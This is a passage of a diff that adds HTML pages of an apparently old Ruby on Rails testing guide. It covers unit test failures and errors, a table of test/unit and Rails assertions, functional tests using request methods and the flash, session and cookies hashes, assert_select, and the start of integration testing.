+test_should_not_save_post_without_title(PostTest)
+    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+&lt;false&gt; is not true.
+
+1 tests, 1 assertions, 1 failures, 0 errors</tt></pre>
+</div></div>
+<div class="para"><p>In the output, <tt>F</tt> denotes a failure. You can see the corresponding trace shown under <tt>1)</tt> along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_not_save_post_without_title
+  post <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
+  assert <span style="color: #990000">!</span>post<span style="color: #990000">.</span>save<span style="color: #990000">,</span> <span style="color: #FF0000">"Saved the post without a title"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Running this test shows the friendlier assertion message:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+F
+Finished in 0.198093 seconds.
+
+  1) Failure:
+test_should_not_save_post_without_title(PostTest)
+    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+Saved the post without a title.
+&lt;false&gt; is not true.
+
+1 tests, 1 assertions, 1 failures, 0 errors</tt></pre>
+</div></div>
+<div class="para"><p>Now to get this test to pass we can add a model level validation for the <em>title</em> field.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_presence_of <span style="color: #990000">:</span>title
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now the test should pass. Let us verify by running the test again:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.193608 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors</tt></pre>
+</div></div>
+<div class="para"><p>Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as <em>Test-Driven Development</em> (TDD).</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">Many Rails developers practice <em>Test-Driven Development</em> (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with <a href="http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html">15 TDD steps to create a Rails application</a>.</td>
+</tr></table>
+</div>
+<div class="para"><p>To see how an error gets reported, here's a test containing an error:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_report_error
+  <span style="font-style: italic"><span style="color: #9A1900"># some_undefined_variable is not defined elsewhere in the test case</span></span>
+  some_undefined_variable
+  assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now you can see even more output in the console from running the tests:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>$ ruby unit/post_test.rb -n test_should_report_error
+Loaded suite unit/post_test
+Started
+E
+Finished in 0.195757 seconds.
+
+  1) Error:
+test_should_report_error(PostTest):
+NameError: undefined local variable or method `some_undefined_variable' for #&lt;PostTest:0x2cc9de8&gt;
+    /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
+    unit/post_test.rb:16:in `test_should_report_error'
+    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
+
+1 tests, 0 assertions, 0 failures, 1 errors</tt></pre>
+</div></div>
+<div class="para"><p>Notice the <em>E</em> in the output. It denotes a test with error.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.</td>
+</tr></table>
+</div>
+<h3 id="_what_to_include_in_your_unit_tests">3.3. What to Include in Your Unit Tests</h3>
+<div class="para"><p>Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.</p></div>
+<h3 id="_assertions_available">3.4. Assertions Available</h3>
+<div class="para"><p>By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.</p></div>
+<div class="para"><p>There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with <tt>test/unit</tt>, the testing library used by Rails. The <tt>[msg]</tt> parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="754" />
+<col width="834" />
+<thead>
+  <tr>
+    <th align="left">
+    Assertion
+    </th>
+    <th align="left">
+    Purpose
+    </th>
+  </tr>
+</thead>
+<tbody valign="top">
+  <tr>
+    <td align="left">
+    <tt>assert( boolean, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that the object/expression is true.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_equal( obj1, obj2, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that <tt>obj1 == obj2</tt> is true.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_not_equal( obj1, obj2, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that <tt>obj1 == obj2</tt> is false.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_same( obj1, obj2, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that <tt>obj1.equal?(obj2)</tt> is true.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_not_same( obj1, obj2, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that <tt>obj1.equal?(obj2)</tt> is false.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_nil( obj, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that <tt>obj.nil?</tt> is true.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_not_nil( obj, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that <tt>obj.nil?</tt> is false.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_match( regexp, string, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that a string matches the regular expression.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_no_match( regexp, string, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that a string doesn't matches the regular expression.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_in_delta( expecting, actual, delta, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that the numbers <tt>expecting</tt> and <tt>actual</tt> are within <tt>delta</tt> of each other.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_throws( symbol, [msg] ) { block }</tt>
+    </td>
+    <td align="left">
+    Ensures that the given block throws the symbol.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_raises( exception1, exception2, &#8230; ) { block }</tt>
+    </td>
+    <td align="left">
+    Ensures that the given block raises one of the given exceptions.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_nothing_raised( exception1, exception2, &#8230; ) { block }</tt>
+    </td>
+    <td align="left">
+    Ensures that the given block doesn't raise one of the given exceptions.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_instance_of( class, obj, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that <tt>obj</tt> is of the <tt>class</tt> type.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_kind_of( class, obj, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that <tt>obj</tt> is or descends from <tt>class</tt>.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_respond_to( obj, symbol, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that <tt>obj</tt> has a method called <tt>symbol</tt>.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_operator( obj1, operator, obj2, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that <tt>obj1.operator(obj2)</tt> is true.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_send( array, [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures that executing the method listed in <tt>array[1]</tt> on the object in <tt>array[0]</tt> with the parameters of <tt>array[2 and up]</tt> is true. This one is weird eh?
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>flunk( [msg] )</tt>
+    </td>
+    <td align="left">
+    Ensures failure. This is useful to explicitly mark a test that isn't finished yet.
+    </td>
+  </tr>
+</tbody>
+</table>
+</div>
+<div class="para"><p>Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Creating your own assertions is an advanced topic that we won't cover in this tutorial.</td>
+</tr></table>
+</div>
+<h3 id="_rails_specific_assertions">3.5. Rails Specific Assertions</h3>
+<div class="para"><p>Rails adds some custom assertions of its own to the <tt>test/unit</tt> framework:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="948" />
+<col width="640" />
+<thead>
+  <tr>
+    <th align="left">
+    Assertion
+    </th>
+    <th align="left">
+    Purpose
+    </th>
+  </tr>
+</thead>
+<tbody valign="top">
+  <tr>
+    <td align="left">
+    <tt>assert_valid(record)</tt>
+    </td>
+    <td align="left">
+    Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_difference(expressions, difference = 1, message = nil) {|| &#8230;}</tt>
+    </td>
+    <td align="left">
+    Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_no_difference(expressions, message = nil, &amp;block)</tt>
+    </td>
+    <td align="left">
+    Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_recognizes(expected_options, path, extras={}, message=nil)</tt>
+    </td>
+    <td align="left">
+    Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)</tt>
+    </td>
+    <td align="left">
+    Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_response(type, message = nil)</tt>
+    </td>
+    <td align="left">
+    Asserts that the response comes with a specific status code. You can specify <tt>:success</tt> to indicate 200,  <tt>:redirect</tt> to indicate 300-399, <tt>:missing</tt> to indicate 404, or <tt>:error</tt> to match the 500-599 range
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_redirected_to(options = {}, message=nil)</tt>
+    </td>
+    <td align="left">
+    Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that <tt>assert_redirected_to(:controller &#8658; "weblog")</tt> will also match the redirection of <tt>redirect_to(:controller &#8658; "weblog", :action &#8658; "show")</tt> and so on.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_template(expected = nil, message=nil)</tt>
+    </td>
+    <td align="left">
+    Asserts that the request was rendered with the appropriate template file.
+    </td>
+  </tr>
+</tbody>
+</table>
+</div>
+<div class="para"><p>You'll see the usage of some of these assertions in the next chapter.</p></div>
+</div>
+<h2 id="_functional_tests_for_your_controllers">4. Functional Tests for Your Controllers</h2>
+<div class="sectionbody">
+<div class="para"><p>In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.</p></div>
+<h3 id="_what_to_include_in_your_functional_tests">4.1. What to include in your Functional Tests</h3>
+<div class="para"><p>You should test for things such as:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+was the web request successful?
+</p>
+</li>
+<li>
+<p>
+was the user redirected to the right page?
+</p>
+</li>
+<li>
+<p>
+was the user successfully authenticated?
+</p>
+</li>
+<li>
+<p>
+was the correct object stored in the response template?
+</p>
+</li>
+<li>
+<p>
+was the appropriate message displayed to the user in the view
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Now that we have used Rails scaffold generator for our <tt>Post</tt> resource, it has already created the controller code and functional tests. You can take look at the file <tt>posts_controller_test.rb</tt> in the <tt>test/functional</tt> directory.</p></div>
+<div class="para"><p>Let me take you through one such test, <tt>test_should_get_index</tt> from the file <tt>posts_controller_test.rb</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_get_index
+  get <span style="color: #990000">:</span>index
+  assert_response <span style="color: #990000">:</span>success
+  assert_not_nil assigns<span style="color: #990000">(:</span>posts<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In the <tt>test_should_get_index</tt> test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid <tt>posts</tt> instance variable.</p></div>
+<div class="para"><p>The <tt>get</tt> method kicks off the web request and populates the results into the response. It accepts 4 arguments:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The action of the controller you are requesting. This can be in the form of a string or a symbol.
+</p>
+</li>
+<li>
+<p>
+An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
+</p>
+</li>
+<li>
+<p>
+An optional hash of session variables to pass along with the request.
+</p>
+</li>
+<li>
+<p>
+An optional hash of flash values.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Example: Calling the <tt>:show</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt> and setting a <tt>user_id</tt> of 5 in the session:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>get<span style="color: #990000">(:</span>show<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"12"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'user_id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Another example: Calling the <tt>:view</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt>, this time with no session, but with a flash message.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>get<span style="color: #990000">(:</span>view<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'12'</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'message'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'booya!'</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">If you try running <tt>test_should_create_post</tt> test from <tt>posts_controller_test.rb</tt> it will fail on account of the newly added model level validation and rightly so.</td>
+</tr></table>
+</div>
+<div class="para"><p>Let us modify <tt>test_should_create_post</tt> test in <tt>posts_controller_test.rb</tt> so that all our test pass:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_create_post
+  assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+    post <span style="color: #990000">:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Some title'</span><span style="color: #FF0000">}</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now you can try running all the tests and they should pass.</p></div>
+<h3 id="_available_request_types_for_functional_tests">4.2. Available Request Types for Functional Tests</h3>
+<div class="para"><p>If you're familiar with the HTTP protocol, you'll know that <tt>get</tt> is a type of request. There are 5 request types supported in Rails functional tests:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>get</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>post</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>put</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>head</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>delete</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.</p></div>
+<h3 id="_the_4_hashes_of_the_apocalypse">4.3. The 4 Hashes of the Apocalypse</h3>
+<div class="para"><p>After a request has been made by using one of the 5 methods (<tt>get</tt>, <tt>post</tt>, etc.) and processed, you will have 4 Hash objects ready for use:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>assigns</tt> - Any objects that are stored as instance variables in actions for use in views.
+</p>
+</li>
+<li>
+<p>
+<tt>cookies</tt> - Any cookies that are set.
+</p>
+</li>
+<li>
+<p>
+<tt>flash</tt> - Any objects living in the flash.
+</p>
+</li>
+<li>
+<p>
+<tt>session</tt> - Any object living in session variables.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for <tt>assigns</tt>. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>  flash<span style="color: #990000">[</span><span style="color: #FF0000">"gordon"</span><span style="color: #990000">]</span>               flash<span style="color: #990000">[:</span>gordon<span style="color: #990000">]</span>
+  session<span style="color: #990000">[</span><span style="color: #FF0000">"shmession"</span><span style="color: #990000">]</span>          session<span style="color: #990000">[:</span>shmession<span style="color: #990000">]</span>
+  cookies<span style="color: #990000">[</span><span style="color: #FF0000">"are_good_for_u"</span><span style="color: #990000">]</span>     cookies<span style="color: #990000">[:</span>are_good_for_u<span style="color: #990000">]</span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># Because you can't use assigns[:something] for historical reasons:</span></span>
+  assigns<span style="color: #990000">[</span><span style="color: #FF0000">"something"</span><span style="color: #990000">]</span>          assigns<span style="color: #990000">(:</span>something<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h3 id="_instance_variables_available">4.4. Instance Variables Available</h3>
+<div class="para"><p>You also have access to three instance variables in your functional tests:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>@controller</tt> - The controller processing the request
+</p>
+</li>
+<li>
+<p>
+<tt>@request</tt> - The request
+</p>
+</li>
+<li>
+<p>
+<tt>@response</tt> - The response
+</p>
+</li>
+</ul></div>
+<h3 id="_a_fuller_functional_test_example">4.5. A Fuller Functional Test Example</h3>
+<div class="para"><p>Here's another example that uses <tt>flash</tt>, <tt>assert_redirected_to</tt>, and <tt>assert_difference</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_create_post
+  assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+    post <span style="color: #990000">:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Hi'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>body <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'This is my first post.'</span><span style="color: #FF0000">}</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
+  assert_equal <span style="color: #FF0000">'Post was successfully created.'</span><span style="color: #990000">,</span> flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_testing_views">4.6. Testing Views</h3>
+<div class="para"><p>Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The <tt>assert_select</tt> assertion allows you to do this by using a simple yet powerful syntax.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">You may find references to <tt>assert_tag</tt> in other documentation, but this is now deprecated in favor of <tt>assert_select</tt>.</td>
+</tr></table>
+</div>
+<div class="para"><p>There are two forms of <tt>assert_select</tt>:</p></div>
+<div class="para"><p><tt>assert_select(selector, [equality], [message])`</tt> ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an <tt>HTML::Selector</tt> object.</p></div>
+<div class="para"><p><tt>assert_select(element, selector, [equality], [message])</tt> ensures that the equality condition is met on all the selected elements through the selector starting from the <em>element</em> (instance of <tt>HTML::Node</tt>) and its descendants.</p></div>
+<div class="para"><p>For example, you could verify the contents on the title element in your response with:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_select <span style="color: #FF0000">'title'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Welcome to Rails Testing Guide"</span>
+</tt></pre></div></div>
+<div class="para"><p>You can also use nested <tt>assert_select</tt> blocks. In this case the inner <tt>assert_select</tt> will run the assertion on each element selected by the outer <tt>assert_select</tt> block:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_select <span style="color: #FF0000">'ul.navigation'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+  assert_select <span style="color: #FF0000">'li.menu_item'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>assert_select</tt> assertion is quite powerful. For more advanced usage, refer to its <a href="http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html#M000749">documentation</a>.</p></div>
+<h4 id="_additional_view_based_assertions">4.6.1. Additional View-based Assertions</h4>
+<div class="para"><p>There are more assertions that are primarily used in testing views:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="948" />
+<col width="640" />
+<thead>
+  <tr>
+    <th align="left">
+    Assertion
+    </th>
+    <th align="left">
+    Purpose
+    </th>
+  </tr>
+</thead>
+<tbody valign="top">
+  <tr>
+    <td align="left">
+    <tt>assert_select_email</tt>
+    </td>
+    <td align="left">
+    Allows you to make assertions on the body of an e-mail.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_select_rjs</tt>
+    </td>
+    <td align="left">
+    Allows you to make assertions on RJS response. <tt>assert_select_rjs</tt> has variants which allow you to narrow down on the updated element or even a particular operation on an element.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>assert_select_encoded</tt>
+    </td>
+    <td align="left">
+    Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>css_select(selector)</tt>  or <tt>css_select(element, selector)</tt>
+    </td>
+    <td align="left">
+    Returns an array of all the elements selected by the <em>selector</em>. In the second variant it first matches the base <em>element</em> and tries to match the <em>selector</em> expression on any of its children. If there are no matches both variants return an empty array.
+    </td>
+  </tr>
+</tbody>
+</table>
+</div>
+<div class="para"><p>Here's an example of using <tt>assert_select_email</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_select_email <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+  assert_select <span style="color: #FF0000">'small'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'Please click the "Unsubscribe" link if you want to opt-out.'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_integration_testing">5. Integration Testing</h2>
+<div class="sectionbody">
+<div class="para"><p>Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.</p></div>
+<div class="para"><p>Unlike Unit and Functional tests, integration tests have to be explicitly created under the <em>test/integration</em> folder within your application. Rails provides a generator to create an integration test skeleton for you.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate integration_test user_flows
+      exists  test/integration<span style="color: #990000">/</span>
+      create  test/integration/user_flows_test<span style="color: #990000">.</span>rb
+</tt></pre></div></div>
+<div class="para"><p>Here's what a freshly-generated integration test looks like:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
+  <span style="font-style: italic"><span style="color: #9A1900"># fixtures :your, :models</span></span>
+
+  <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
+    assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Integration tests inherit from <tt>ActionController::IntegrationTest</tt>. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.</p></div>
+<h3 id="_helpers_available_for_integration_tests">5.1. Helpers Available for Integration tests</h3>
+<div class="para"><p>In addition to the standard testing helpers, there are some additional helpers available to integration tests:</p></div>
+<div class="tableblock">
